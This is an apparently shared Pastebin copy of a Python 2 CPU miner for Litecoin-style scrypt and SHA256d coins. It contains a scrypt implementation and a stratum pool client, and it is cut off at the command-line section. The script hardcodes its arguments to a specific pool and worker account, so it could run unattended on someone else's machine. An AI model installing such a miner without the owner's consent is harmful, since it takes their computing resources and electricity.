Guest User

i am kira

a guest
Jan 10th, 2019
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.50 KB | None | 0 0
  1. '''
  2. Created on November 5, 1605
  3. @author: 5PL1NT3R_5H3LL
  4. '''
  5. import base64, binascii, json, hashlib, hmac, math, socket, struct, sys, threading, time, urlparse, random, optparse, argparse
  6. from time import sleep
  7. sys.argv = ['singlefile.py', '-a', 'scrypt', '--url', 'stratum+tcp://litecoinpool.org:3333', '--user', 'splintercell.1', '--pass', '1']
  8. #'-B'
  9. USER_AGENT = "NightMiner"
  10. VERSION = [0, 1]
  11.  
  12. # Which algorithm for proof-of-work to use
  13. ALGORITHM_SCRYPT = 'scrypt'
  14. ALGORITHM_SHA256D = 'sha256d'
  15.  
  16. ALGORITHMS = [ ALGORITHM_SCRYPT, ALGORITHM_SHA256D ]
  17.  
  18.  
  19. # Verbosity and log level
  20. QUIET = False
  21. DEBUG = False
  22. DEBUG_PROTOCOL = True
  23.  
  24. LEVEL_PROTOCOL = 'protocol'
  25. LEVEL_INFO = 'info'
  26. LEVEL_DEBUG = 'debug'
  27. LEVEL_ERROR = 'error'
  28.  
  29.  
  30. # These control which scrypt implementation to use
  31. SCRYPT_LIBRARY_AUTO = 'auto'
  32. SCRYPT_LIBRARY_LTC = 'ltc_scrypt (https://github.com/forrestv/p2pool)'
  33. SCRYPT_LIBRARY_SCRYPT = 'scrypt (https://pypi.python.org/pypi/scrypt/)'
  34. SCRYPT_LIBRARY_PYTHON = 'pure python'
  35. SCRYPT_LIBRARIES = [ SCRYPT_LIBRARY_AUTO, SCRYPT_LIBRARY_LTC, SCRYPT_LIBRARY_SCRYPT, SCRYPT_LIBRARY_PYTHON ]
  36.  
  37.  
  38. def log(message, level):
  39. '''Conditionally write a message to stdout based on command line options and level.'''
  40.  
  41. global DEBUG
  42. global DEBUG_PROTOCOL
  43. global QUIET
  44.  
  45. if QUIET and level != LEVEL_ERROR: return
  46. if not DEBUG_PROTOCOL and level == LEVEL_PROTOCOL: return
  47. if not DEBUG and level == LEVEL_DEBUG: return
  48.  
  49. if level != LEVEL_PROTOCOL: message = '[%s] %s' % (level.upper(), message)
  50.  
  51. print ("[%s] %s" % (time.strftime("%Y-%m-%d %H:%M:%S"), message))
  52.  
  53.  
  54. # Convert from/to binary and hexidecimal strings (could be replaced with .encode('hex') and .decode('hex'))
  55. hexlify = binascii.hexlify
  56. unhexlify = binascii.unhexlify
  57.  
  58.  
  59. def sha256d(message):
  60. '''Double SHA256 Hashing function.'''
  61.  
  62. return hashlib.sha256(hashlib.sha256(message).digest()).digest()
  63.  
  64.  
  65. def swap_endian_word(hex_word):
  66. '''Swaps the endianness of a hexidecimal string of a word and converts to a binary string.'''
  67.  
  68. message = unhexlify(hex_word)
  69. if len(message) != 4: raise ValueError('Must be 4-byte word')
  70. return message[::-1]
  71.  
  72.  
  73. def swap_endian_words(hex_words):
  74. '''Swaps the endianness of a hexidecimal string of words and converts to binary string.'''
  75.  
  76. message = unhexlify(hex_words)
  77. if len(message) % 4 != 0: raise ValueError('Must be 4-byte word aligned')
  78. return ''.join([ message[4 * i: 4 * i + 4][::-1] for i in range(0, len(message) // 4) ])
  79.  
  80.  
  81. def human_readable_hashrate(hashrate):
  82. '''Returns a human readable representation of hashrate.'''
  83.  
  84. if hashrate < 1000:
  85. return '%2f hashes/s' % hashrate
  86. if hashrate < 10000000:
  87. return '%2f khashes/s' % (hashrate / 1000)
  88. if hashrate < 10000000000:
  89. return '%2f Mhashes/s' % (hashrate / 1000000)
  90. return '%2f Ghashes/s' % (hashrate / 1000000000)
  91.  
  92.  
  93. def scrypt(password, salt, N, r, p, dkLen):
  94.  
  95. def array_overwrite(source, source_start, dest, dest_start, length):
  96. '''Overwrites the dest array with the source array.'''
  97.  
  98. for i in xrange(0, length):
  99. dest[dest_start + i] = source[source_start + i]
  100.  
  101.  
  102. def blockxor(source, source_start, dest, dest_start, length):
  103. '''Performs xor on arrays source and dest, storing the result back in dest.'''
  104.  
  105. for i in xrange(0, length):
  106. dest[dest_start + i] = chr(ord(dest[dest_start + i]) ^ ord(source[source_start + i]))
  107.  
  108.  
  109. def pbkdf2(passphrase, salt, count, dkLen, prf):
  110. '''Returns the result of the Password-Based Key Derivation Function 2.
  111.  
  112. See http://en.wikipedia.org/wiki/PBKDF2
  113. '''
  114.  
  115. def f(block_number):
  116. '''The function "f".'''
  117.  
  118. U = prf(passphrase, salt + struct.pack('>L', block_number))
  119.  
  120. # Not used for scrpyt-based coins, could be removed, but part of a more general solution
  121. if count > 1:
  122. U = [ c for c in U ]
  123. for i in xrange(2, 1 + count):
  124. blockxor(prf(passphrase, ''.join(U)), 0, U, 0, len(U))
  125. U = ''.join(U)
  126.  
  127. return U
  128.  
  129. # PBKDF2 implementation
  130. size = 0
  131.  
  132. block_number = 0
  133. blocks = [ ]
  134.  
  135. # The iterations
  136. while size < dkLen:
  137. block_number += 1
  138. block = f(block_number)
  139.  
  140. blocks.append(block)
  141. size += len(block)
  142.  
  143. return ''.join(blocks)[:dkLen]
  144.  
  145. def integerify(B, Bi, r):
  146. '''"A bijective function from ({0, 1} ** k) to {0, ..., (2 ** k) - 1".'''
  147.  
  148. Bi += (2 * r - 1) * 64
  149. n = ord(B[Bi]) | (ord(B[Bi + 1]) << 8) | (ord(B[Bi + 2]) << 16) | (ord(B[Bi + 3]) << 24)
  150. return n
  151.  
  152.  
  153. def make_int32(v):
  154. '''Converts (truncates, two's compliments) a number to an int32.'''
  155.  
  156. if v > 0x7fffffff: return -1 * ((~v & 0xffffffff) + 1)
  157. return v
  158.  
  159.  
  160. def R(X, destination, a1, a2, b):
  161. '''A single round of Salsa.'''
  162.  
  163. a = (X[a1] + X[a2]) & 0xffffffff
  164. X[destination] ^= ((a << b) | (a >> (32 - b)))
  165.  
  166.  
  167. def salsa20_8(B):
  168. '''Salsa 20/8 stream cypher; Used by BlockMix. See http://en.wikipedia.org/wiki/Salsa20'''
  169.  
  170. # Convert the character array into an int32 array
  171. B32 = [ make_int32((ord(B[i * 4]) | (ord(B[i * 4 + 1]) << 8) | (ord(B[i * 4 + 2]) << 16) | (ord(B[i * 4 + 3]) << 24))) for i in xrange(0, 16) ]
  172. x = [ i for i in B32 ]
  173.  
  174. # Salsa... Time to dance.
  175. for i in xrange(8, 0, -2):
  176. R(x, 4, 0, 12, 7); R(x, 8, 4, 0, 9); R(x, 12, 8, 4, 13); R(x, 0, 12, 8, 18)
  177. R(x, 9, 5, 1, 7); R(x, 13, 9, 5, 9); R(x, 1, 13, 9, 13); R(x, 5, 1, 13, 18)
  178. R(x, 14, 10, 6, 7); R(x, 2, 14, 10, 9); R(x, 6, 2, 14, 13); R(x, 10, 6, 2, 18)
  179. R(x, 3, 15, 11, 7); R(x, 7, 3, 15, 9); R(x, 11, 7, 3, 13); R(x, 15, 11, 7, 18)
  180. R(x, 1, 0, 3, 7); R(x, 2, 1, 0, 9); R(x, 3, 2, 1, 13); R(x, 0, 3, 2, 18)
  181. R(x, 6, 5, 4, 7); R(x, 7, 6, 5, 9); R(x, 4, 7, 6, 13); R(x, 5, 4, 7, 18)
  182. R(x, 11, 10, 9, 7); R(x, 8, 11, 10, 9); R(x, 9, 8, 11, 13); R(x, 10, 9, 8, 18)
  183. R(x, 12, 15, 14, 7); R(x, 13, 12, 15, 9); R(x, 14, 13, 12, 13); R(x, 15, 14, 13, 18)
  184.  
  185. # Coerce into nice happy 32-bit integers
  186. B32 = [ make_int32(x[i] + B32[i]) for i in xrange(0, 16) ]
  187.  
  188. # Convert back to bytes
  189. for i in xrange(0, 16):
  190. B[i * 4 + 0] = chr((B32[i] >> 0) & 0xff)
  191. B[i * 4 + 1] = chr((B32[i] >> 8) & 0xff)
  192. B[i * 4 + 2] = chr((B32[i] >> 16) & 0xff)
  193. B[i * 4 + 3] = chr((B32[i] >> 24) & 0xff)
  194.  
  195.  
  196. def blockmix_salsa8(BY, Bi, Yi, r):
  197. '''Blockmix; Used by SMix.'''
  198.  
  199. start = Bi + (2 * r - 1) * 64
  200. X = [ BY[i] for i in xrange(start, start + 64) ] # BlockMix - 1
  201.  
  202. for i in xrange(0, 2 * r): # BlockMix - 2
  203. blockxor(BY, i * 64, X, 0, 64) # BlockMix - 3(inner)
  204. salsa20_8(X) # BlockMix - 3(outer)
  205. array_overwrite(X, 0, BY, Yi + (i * 64), 64) # BlockMix - 4
  206.  
  207. for i in xrange(0, r): # BlockMix - 6 (and below)
  208. array_overwrite(BY, Yi + (i * 2) * 64, BY, Bi + (i * 64), 64)
  209.  
  210. for i in xrange(0, r):
  211. array_overwrite(BY, Yi + (i * 2 + 1) * 64, BY, Bi + (i + r) * 64, 64)
  212.  
  213.  
  214. def smix(B, Bi, r, N, V, X):
  215. '''SMix; a specific case of ROMix. See scrypt.pdf in the links above.'''
  216.  
  217. array_overwrite(B, Bi, X, 0, 128 * r) # ROMix - 1
  218.  
  219. for i in xrange(0, N): # ROMix - 2
  220. array_overwrite(X, 0, V, i * (128 * r), 128 * r) # ROMix - 3
  221. blockmix_salsa8(X, 0, 128 * r, r) # ROMix - 4
  222.  
  223. for i in xrange(0, N): # ROMix - 6
  224. j = integerify(X, 0, r) & (N - 1) # ROMix - 7
  225. blockxor(V, j * (128 * r), X, 0, 128 * r) # ROMix - 8(inner)
  226. blockmix_salsa8(X, 0, 128 * r, r) # ROMix - 9(outer)
  227.  
  228. array_overwrite(X, 0, B, Bi, 128 * r) # ROMix - 10
  229.  
  230.  
  231. # Scrypt implementation. Significant thanks to https://github.com/wg/scrypt
  232. if N < 2 or (N & (N - 1)): raise ValueError('Scrypt N must be a power of 2 greater than 1')
  233.  
  234. prf = lambda k, m: hmac.new(key = k, msg = m, digestmod = hashlib.sha256).digest()
  235.  
  236. DK = [ chr(0) ] * dkLen
  237.  
  238. B = [ c for c in pbkdf2(password, salt, 1, p * 128 * r, prf) ]
  239. XY = [ chr(0) ] * (256 * r)
  240. V = [ chr(0) ] * (128 * r * N)
  241.  
  242. for i in xrange(0, p):
  243. smix(B, i * 128 * r, r, N, V, XY)
  244.  
  245. return pbkdf2(password, ''.join(B), 1, dkLen, prf)
  246.  
  247.  
  248. SCRYPT_LIBRARY = None
  249. scrypt_proof_of_work = None
  250. def set_scrypt_library(library = SCRYPT_LIBRARY_PYTHON):
  251. '''Sets the scrypt library implementation to use.'''
  252.  
  253. global SCRYPT_LIBRARY
  254. global scrypt_proof_of_work
  255.  
  256. if library == SCRYPT_LIBRARY_LTC:
  257. import ltc_scrypt
  258. scrypt_proof_of_work = ltc_scrypt.getPoWHash
  259. SCRYPT_LIBRARY = library
  260.  
  261. elif library == SCRYPT_LIBRARY_SCRYPT:
  262. import scrypt as NativeScrypt
  263. scrypt_proof_of_work = lambda header: NativeScrypt.hash(header, header, 1024, 1, 1, 32)
  264. SCRYPT_LIBRARY = library
  265.  
  266. # Try to load a faster version of scrypt before using the pure-Python implementation
  267. elif library == SCRYPT_LIBRARY_AUTO:
  268. try:
  269. set_scrypt_library(SCRYPT_LIBRARY_LTC)
  270. except Exception, e:
  271. try:
  272. set_scrypt_library(SCRYPT_LIBRARY_SCRYPT)
  273. except Exception, e:
  274. set_scrypt_library(SCRYPT_LIBRARY_PYTHON)
  275.  
  276. else:
  277. scrypt_proof_of_work = lambda header: scrypt(header, header, 1024, 1, 1, 32)
  278. SCRYPT_LIBRARY = library
  279.  
  280. set_scrypt_library(SCRYPT_LIBRARY_PYTHON)
  281.  
  282.  
  283. class Job(object):
  284. '''Encapsulates a Job from the network and necessary helper methods to mine.
  285.  
  286. "If you have a procedure with 10 parameters, you probably missed some."
  287. ~Alan Perlis
  288. '''
  289.  
  290. def __init__(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, target, extranounce1, extranounce2_size, proof_of_work):
  291.  
  292. # Job parts from the mining.notify command
  293. self._job_id = job_id
  294. self._prevhash = prevhash
  295. self._coinb1 = coinb1
  296. self._coinb2 = coinb2
  297. self._merkle_branches = [ b for b in merkle_branches ]
  298. self._version = version
  299. self._nbits = nbits
  300. self._ntime = ntime
  301.  
  302. # Job information needed to mine from mining.subsribe
  303. self._target = target
  304. self._extranounce1 = extranounce1
  305. self._extranounce2_size = extranounce2_size
  306.  
  307. # Proof of work algorithm
  308. self._proof_of_work = proof_of_work
  309.  
  310. # Flag to stop this job's mine coroutine
  311. self._done = False
  312.  
  313. # Hash metrics (start time, delta time, total hashes)
  314. self._dt = 0.0
  315. self._hash_count = 0
  316.  
  317. # Accessors
  318. id = property(lambda s: s._job_id)
  319. prevhash = property(lambda s: s._prevhash)
  320. coinb1 = property(lambda s: s._coinb1)
  321. coinb2 = property(lambda s: s._coinb2)
  322. merkle_branches = property(lambda s: [ b for b in s._merkle_branches ])
  323. version = property(lambda s: s._version)
  324. nbits = property(lambda s: s._nbits)
  325. ntime = property(lambda s: s._ntime)
  326.  
  327. target = property(lambda s: s._target)
  328. extranounce1 = property(lambda s: s._extranounce1)
  329. extranounce2_size = property(lambda s: s._extranounce2_size)
  330.  
  331. proof_of_work = property(lambda s: s._proof_of_work)
  332.  
  333.  
  334. @property
  335. def hashrate(self):
  336. '''The current hashrate, or if stopped hashrate for the job's lifetime.'''
  337.  
  338. if self._dt == 0: return 0.0
  339. return self._hash_count / self._dt
  340.  
  341.  
  342. def merkle_root_bin(self, extranounce2_bin):
  343. '''Builds a merkle root from the merkle tree'''
  344.  
  345. coinbase_bin = unhexlify(self._coinb1) + unhexlify(self._extranounce1) + extranounce2_bin + unhexlify(self._coinb2)
  346. coinbase_hash_bin = sha256d(coinbase_bin)
  347.  
  348. merkle_root = coinbase_hash_bin
  349. for branch in self._merkle_branches:
  350. merkle_root = sha256d(merkle_root + unhexlify(branch))
  351. return merkle_root
  352.  
  353.  
  354. def stop(self):
  355. '''Requests the mine coroutine stop after its current iteration.'''
  356.  
  357. self._done = True
  358.  
  359.  
  360. def mine(self, nounce_start = 0, nounce_stride = 1):
  361. t0 = time.time()
  362.  
  363. # @TODO: test for extranounce != 0... Do I reverse it or not?
  364. for extranounce2 in xrange(0, 0x7fffffff):
  365.  
  366. # Must be unique for any given job id, according to http://mining.bitcoin.cz/stratum-mining/ but never seems enforced?
  367. extranounce2_bin = struct.pack('<I', extranounce2)
  368.  
  369. merkle_root_bin = self.merkle_root_bin(extranounce2_bin)
  370. header_prefix_bin = swap_endian_word(self._version) + swap_endian_words(self._prevhash) + merkle_root_bin + swap_endian_word(self._ntime) + swap_endian_word(self._nbits)
  371. for nounce in xrange(nounce_start, 0x7fffffff, nounce_stride):
  372. # This job has been asked to stop
  373. if self._done:
  374. self._dt += (time.time() - t0)
  375. raise StopIteration()
  376.  
  377. # Proof-of-work attempt
  378. nounce_bin = struct.pack('<I', nounce)
  379. pow = self.proof_of_work(header_prefix_bin + nounce_bin)[::-1].encode('hex')
  380.  
  381. # Did we reach or exceed our target?
  382. if pow <= self.target:
  383. result = dict(
  384. job_id = self.id,
  385. extranounce2 = hexlify(extranounce2_bin),
  386. ntime = str(self._ntime), # Convert to str from json unicode
  387. nounce = hexlify(nounce_bin[::-1])
  388. )
  389. self._dt += (time.time() - t0)
  390.  
  391. yield result
  392.  
  393. t0 = time.time()
  394.  
  395. self._hash_count += 1
  396.  
  397.  
  398. def __str__(self):
  399. return '<Job id=%s prevhash=%s coinb1=%s coinb2=%s merkle_branches=%s version=%s nbits=%s ntime=%s target=%s extranounce1=%s extranounce2_size=%d>' % (self.id, self.prevhash, self.coinb1, self.coinb2, self.merkle_branches, self.version, self.nbits, self.ntime, self.target, self.extranounce1, self.extranounce2_size)
  400.  
  401.  
  402. # Subscription state
  403. class Subscription(object):
  404. '''Encapsulates the Subscription state from the JSON-RPC server'''
  405.  
  406. # Subclasses should override this
  407. def ProofOfWork(header):
  408. raise Exception('Do not use the Subscription class directly, subclass it')
  409.  
  410. class StateException(Exception): pass
  411.  
  412. def __init__(self):
  413. self._id = None
  414. self._difficulty = None
  415. self._extranounce1 = None
  416. self._extranounce2_size = None
  417. self._target = None
  418. self._worker_name = None
  419.  
  420. self._mining_thread = None
  421.  
  422. # Accessors
  423. id = property(lambda s: s._id)
  424. worker_name = property(lambda s: s._worker_name)
  425.  
  426. difficulty = property(lambda s: s._difficulty)
  427. target = property(lambda s: s._target)
  428.  
  429. extranounce1 = property(lambda s: s._extranounce1)
  430. extranounce2_size = property(lambda s: s._extranounce2_size)
  431.  
  432.  
  433. def set_worker_name(self, worker_name):
  434. if self._worker_name:
  435. raise self.StateException('Already authenticated as %r (requesting %r)' % (self._username, username))
  436.  
  437. self._worker_name = worker_name
  438.  
  439.  
  440. def _set_target(self, target):
  441. self._target = '%064x' % target
  442.  
  443.  
  444. def set_difficulty(self, difficulty):
  445. if difficulty < 0: raise self.StateException('Difficulty must be non-negative')
  446.  
  447. # Compute target
  448. if difficulty == 0:
  449. target = 2 ** 256 - 1
  450. else:
  451. target = min(int((0xffff0000 * 2 ** (256 - 64) + 1) / difficulty - 1 + 0.5), 2 ** 256 - 1)
  452.  
  453. self._difficulty = difficulty
  454. self._set_target(target)
  455.  
  456.  
  457. def set_subscription(self, subscription_id, extranounce1, extranounce2_size):
  458. if self._id is not None:
  459. raise self.StateException('Already subscribed')
  460.  
  461. self._id = subscription_id
  462. self._extranounce1 = extranounce1
  463. self._extranounce2_size = extranounce2_size
  464.  
  465.  
  466. def create_job(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime):
  467. '''Creates a new Job object populated with all the goodness it needs to mine.'''
  468.  
  469. if self._id is None:
  470. raise self.StateException('Not subscribed')
  471.  
  472. return Job(
  473. job_id = job_id,
  474. prevhash = prevhash,
  475. coinb1 = coinb1,
  476. coinb2 = coinb2,
  477. merkle_branches = merkle_branches,
  478. version = version,
  479. nbits = nbits,
  480. ntime = ntime,
  481. target = self.target,
  482. extranounce1 = self._extranounce1,
  483. extranounce2_size = self.extranounce2_size,
  484. proof_of_work = self.ProofOfWork
  485. )
  486.  
  487.  
  488. def __str__(self):
  489. return '<Subscription id=%s, extranounce1=%s, extranounce2_size=%d, difficulty=%d worker_name=%s>' % (self.id, self.extranounce1, self.extranounce2_size, self.difficulty, self.worker_name)
  490.  
  491.  
  492. class SubscriptionScrypt(Subscription):
  493. '''Subscription for Scrypt-based coins, like Litecoin.'''
  494.  
  495. ProofOfWork = lambda s, h: (scrypt_proof_of_work(h))
  496.  
  497. def _set_target(self, target):
  498. # Why multiply by 2**16? See: https://litecoin.info/Mining_pool_comparison
  499. self._target = '%064x' % (target << 16)
  500.  
  501.  
  502. class SubscriptionSHA256D(Subscription):
  503. '''Subscription for Double-SHA256-based coins, like Bitcoin.'''
  504.  
  505. ProofOfWork = sha256d
  506.  
  507.  
  508. # Maps algorithms to their respective subscription objects
  509. SubscriptionByAlgorithm = { ALGORITHM_SCRYPT: SubscriptionScrypt, ALGORITHM_SHA256D: SubscriptionSHA256D }
  510.  
  511.  
  512. class SimpleJsonRpcClient(object):
  513. '''Simple JSON-RPC client.
  514.  
  515. To use this class:
  516. 1) Create a sub-class
  517. 2) Override handle_reply(self, request, reply)
  518. 3) Call connect(socket)
  519.  
  520. Use self.send(method, params) to send JSON-RPC commands to the server.
  521.  
  522. A new thread is created for listening to the connection; so calls to handle_reply
  523. are synchronized. It is safe to call send from withing handle_reply.
  524. '''
  525.  
  526. class ClientException(Exception): pass
  527.  
  528. class RequestReplyException(Exception):
  529. def __init__(self, message, reply, request = None):
  530. Exception.__init__(self, message)
  531. self._reply = reply
  532. self._request = request
  533.  
  534. request = property(lambda s: s._request)
  535. reply = property(lambda s: s._reply)
  536.  
  537. class RequestReplyWarning(RequestReplyException):
  538. '''Sub-classes can raise this to inform the user of JSON-RPC server issues.'''
  539. pass
  540.  
  541. def __init__(self):
  542. self._socket = None
  543. self._lock = threading.RLock()
  544. self._rpc_thread = None
  545. self._message_id = 1
  546. self._requests = dict()
  547.  
  548.  
  549. def _handle_incoming_rpc(self):
  550. data = ""
  551. while True:
  552. # Get the next line if we have one, otherwise, read and block
  553. if '\n' in data:
  554. (line, data) = data.split('\n', 1)
  555. else:
  556. chunk = self._socket.recv(1024)
  557. data += chunk
  558. continue
  559.  
  560. log('JSON-RPC Server > ' + line, LEVEL_PROTOCOL)
  561.  
  562. # Parse the JSON
  563. try:
  564. reply = json.loads(line)
  565. except Exception, e:
  566. log("JSON-RPC Error: Failed to parse JSON %r (skipping)" % line, LEVEL_ERROR)
  567. continue
  568.  
  569. try:
  570. request = None
  571. with self._lock:
  572. if 'id' in reply and reply['id'] in self._requests:
  573. request = self._requests[reply['id']]
  574. self.handle_reply(request = request, reply = reply)
  575. except self.RequestReplyWarning, e:
  576. output = e.message
  577. if e.request:
  578. output += '\n ' + e.request
  579. output += '\n ' + e.reply
  580. log(output, LEVEL_ERROR)
  581.  
  582.  
  583. def handle_reply(self, request, reply):
  584. # Override this method in sub-classes to handle a message from the server
  585. raise self.RequestReplyWarning('Override this method')
  586.  
  587.  
  588. def send(self, method, params):
  589. '''Sends a message to the JSON-RPC server'''
  590.  
  591. if not self._socket:
  592. raise self.ClientException('Not connected')
  593.  
  594. request = dict(id = self._message_id, method = method, params = params)
  595. message = json.dumps(request)
  596. with self._lock:
  597. self._requests[self._message_id] = request
  598. self._message_id += 1
  599. self._socket.send(message + '\n')
  600.  
  601. log('JSON-RPC Server < ' + message, LEVEL_PROTOCOL)
  602.  
  603. return request
  604.  
  605.  
  606. def connect(self, socket):
  607. '''Connects to a remove JSON-RPC server'''
  608.  
  609. if self._rpc_thread:
  610. raise self.ClientException('Already connected')
  611.  
  612. self._socket = socket
  613.  
  614. self._rpc_thread = threading.Thread(target = self._handle_incoming_rpc)
  615. self._rpc_thread.daemon = True
  616. self._rpc_thread.start()
  617.  
  618.  
  619. # Miner client
  620. class Miner(SimpleJsonRpcClient):
  621. '''Simple mining client'''
  622.  
  623. class MinerWarning(SimpleJsonRpcClient.RequestReplyWarning):
  624. def __init__(self, message, reply, request = None):
  625. SimpleJsonRpcClient.RequestReplyWarning.__init__(self, 'Mining Sate Error: ' + message, reply, request)
  626.  
  627. class MinerAuthenticationException(SimpleJsonRpcClient.RequestReplyException): pass
  628.  
  629. def __init__(self, url, username, password, algorithm = ALGORITHM_SCRYPT):
  630. SimpleJsonRpcClient.__init__(self)
  631.  
  632. self._url = url
  633. self._username = username
  634. self._password = password
  635.  
  636. self._subscription = SubscriptionByAlgorithm[algorithm]()
  637.  
  638. self._job = None
  639.  
  640. self._accepted_shares = 0
  641.  
  642. # Accessors
  643. url = property(lambda s: s._url)
  644. username = property(lambda s: s._username)
  645. password = property(lambda s: s._password)
  646.  
  647.  
  648. # Overridden from SimpleJsonRpcClient
  649. def handle_reply(self, request, reply):
  650.  
  651. # New work, stop what we were doing before, and start on this.
  652. if reply.get('method') == 'mining.notify':
  653. if 'params' not in reply or len(reply['params']) != 9:
  654. raise self.MinerWarning('Malformed mining.notify message', reply)
  655.  
  656. (job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, clean_jobs) = reply['params']
  657. self._spawn_job_thread(job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime)
  658.  
  659. log('New job: job_id=%s' % job_id, LEVEL_DEBUG)
  660.  
  661. # The server wants us to change our difficulty (on all *future* work)
  662. elif reply.get('method') == 'mining.set_difficulty':
  663. if 'params' not in reply or len(reply['params']) != 1:
  664. raise self.MinerWarning('Malformed mining.set_difficulty message', reply)
  665.  
  666. (difficulty, ) = reply['params']
  667. self._subscription.set_difficulty(difficulty)
  668.  
  669. log('Change difficulty: difficulty=%s' % difficulty, LEVEL_DEBUG)
  670.  
  671. # This is a reply to...
  672. elif request:
  673.  
  674. # ...subscribe; set-up the work and request authorization
  675. if request.get('method') == 'mining.subscribe':
  676. if 'result' not in reply or len(reply['result']) != 3 or len(reply['result'][0]) != 2:
  677. raise self.MinerWarning('Reply to mining.subscribe is malformed', reply, request)
  678.  
  679. ((mining_notify, subscription_id), extranounce1, extranounce2_size) = reply['result']
  680.  
  681. self._subscription.set_subscription(subscription_id, extranounce1, extranounce2_size)
  682.  
  683. log('Subscribed: subscription_id=%s' % subscription_id, LEVEL_DEBUG)
  684.  
  685. # Request authentication
  686. self.send(method = 'mining.authorize', params = [ self.username, self.password ])
  687.  
  688. # ...authorize; if we failed to authorize, quit
  689. elif request.get('method') == 'mining.authorize':
  690. if 'result' not in reply or not reply['result']:
  691. raise self.MinerAuthenticationException('Failed to authenticate worker', reply, request)
  692.  
  693. worker_name = request['params'][0]
  694. self._subscription.set_worker_name(worker_name)
  695.  
  696. log('Authorized: worker_name=%s' % worker_name, LEVEL_DEBUG)
  697.  
  698. # ...submit; complain if the server didn't accept our submission
  699. elif request.get('method') == 'mining.submit':
  700. if 'result' not in reply or not reply['result']:
  701. log('Share - Invalid', LEVEL_INFO)
  702. raise self.MinerWarning('Failed to accept submit', reply, request)
  703.  
  704. self._accepted_shares += 1
  705. log('Accepted shares: %d' % self._accepted_shares, LEVEL_INFO)
  706.  
  707. # ??? *shrug*
  708. else:
  709. raise self.MinerWarning('Unhandled message', reply, request)
  710.  
  711. # ??? *double shrug*
  712. else:
  713. raise self.MinerWarning('Bad message state', reply)
  714.  
  715.  
  716. def _spawn_job_thread(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime):
  717. '''Stops any previous job and begins a new job.'''
  718.  
  719. # Stop the old job (if any)
  720. if self._job: self._job.stop()
  721.  
  722. # Create the new job
  723. self._job = self._subscription.create_job(
  724. job_id = job_id,
  725. prevhash = prevhash,
  726. coinb1 = coinb1,
  727. coinb2 = coinb2,
  728. merkle_branches = merkle_branches,
  729. version = version,
  730. nbits = nbits,
  731. ntime = ntime
  732. )
  733.  
  734. def run(job):
  735. try:
  736. for result in job.mine():
  737. params = [ self._subscription.worker_name ] + [ result[k] for k in ('job_id', 'extranounce2', 'ntime', 'nounce') ]
  738. self.send(method = 'mining.submit', params = params)
  739. log("Found share: " + str(params), LEVEL_INFO)
  740. log("Hashrate: %s" % human_readable_hashrate(job.hashrate), LEVEL_INFO)
  741. except Exception, e:
  742. log("ERROR: %s" % e, LEVEL_ERROR)
  743.  
  744. thread = threading.Thread(target = run, args = (self._job, ))
  745. thread.daemon = True
  746. thread.start()
  747.  
  748.  
  749. def serve_forever(self):
  750. '''Begins the miner. This method does not return.'''
  751.  
  752. # Figure out the hostname and port
  753. url = urlparse.urlparse(self.url)
  754. hostname = url.hostname or ''
  755. port = url.port or 9333
  756.  
  757. log('Starting server on %s:%d' % (hostname, port), LEVEL_INFO)
  758.  
  759. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  760. sock.connect((hostname, port))
  761. self.connect(sock)
  762.  
  763. self.send(method = 'mining.subscribe', params = [ "%s/%s" % (USER_AGENT, '.'.join(str(p) for p in VERSION)) ])
  764.  
  765.  
  766. def test_subscription():
  767. '''Test harness for mining, using a known valid share.'''
  768.  
  769. log('TEST: Scrypt algorithm = %r' % SCRYPT_LIBRARY, LEVEL_DEBUG)
  770. log('TEST: Testing Subscription', LEVEL_DEBUG)
  771.  
  772. subscription = SubscriptionScrypt()
  773.  
  774. # Set up the subscription
  775. reply = json.loads('{"error": null, "id": 1, "result": [["mining.notify", "ae6812eb4cd7735a302a8a9dd95cf71f"], "f800880e", 4]}')
  776. log('TEST: %r' % reply, LEVEL_DEBUG)
  777. ((mining_notify, subscription_id), extranounce1, extranounce2_size) = reply['result']
  778. subscription.set_subscription(subscription_id, extranounce1, extranounce2_size)
  779.  
  780. # Set the difficulty
  781. reply = json.loads('{"params": [32], "id": null, "method": "mining.set_difficulty"}')
  782. log('TEST: %r' % reply, LEVEL_DEBUG)
  783. (difficulty, ) = reply['params']
  784. subscription.set_difficulty(difficulty)
  785.  
  786. # Create a job
  787. reply = json.loads('{"params": ["1db7", "0b29bfff96c5dc08ee65e63d7b7bab431745b089ff0cf95b49a1631e1d2f9f31", "01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2503777d07062f503253482f0405b8c75208", "0b2f436f696e48756e74722f0000000001603f352a010000001976a914c633315d376c20a973a758f7422d67f7bfed9c5888ac00000000", ["f0dbca1ee1a9f6388d07d97c1ab0de0e41acdf2edac4b95780ba0a1ec14103b3", "8e43fd2988ac40c5d97702b7e5ccdf5b06d58f0e0d323f74dd5082232c1aedf7", "1177601320ac928b8c145d771dae78a3901a089fa4aca8def01cbff747355818", "9f64f3b0d9edddb14be6f71c3ac2e80455916e207ffc003316c6a515452aa7b4", "2d0b54af60fad4ae59ec02031f661d026f2bb95e2eeb1e6657a35036c017c595"], "00000002", "1b148272", "52c7b81a", true], "id": null, "method": "mining.notify"}')
  788. log('TEST: %r' % reply, LEVEL_DEBUG)
  789. (job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, clean_jobs) = reply['params']
  790. job = subscription.create_job(
  791. job_id = job_id,
  792. prevhash = prevhash,
  793. coinb1 = coinb1,
  794. coinb2 = coinb2,
  795. merkle_branches = merkle_branches,
  796. version = version,
  797. nbits = nbits,
  798. ntime = ntime
  799. )
  800.  
  801. # Scan that job (if I broke something, this will run for a long time))
  802. for result in job.mine(nounce_start = 1210450368 - 3):
  803. log('TEST: found share - %r' % repr(result), LEVEL_DEBUG)
  804. break
  805.  
  806. valid = { 'ntime': '52c7b81a', 'nounce': '482601c0', 'extranounce2': '00000000', 'job_id': u'1db7' }
  807. log('TEST: Correct answer %r' % valid, LEVEL_DEBUG)
  808.  
  809.  
  810.  
  811. # CLI for cpu mining
  812. if __name__ == '__main__':
  813.  
  814.  
  815. # Parse the command line
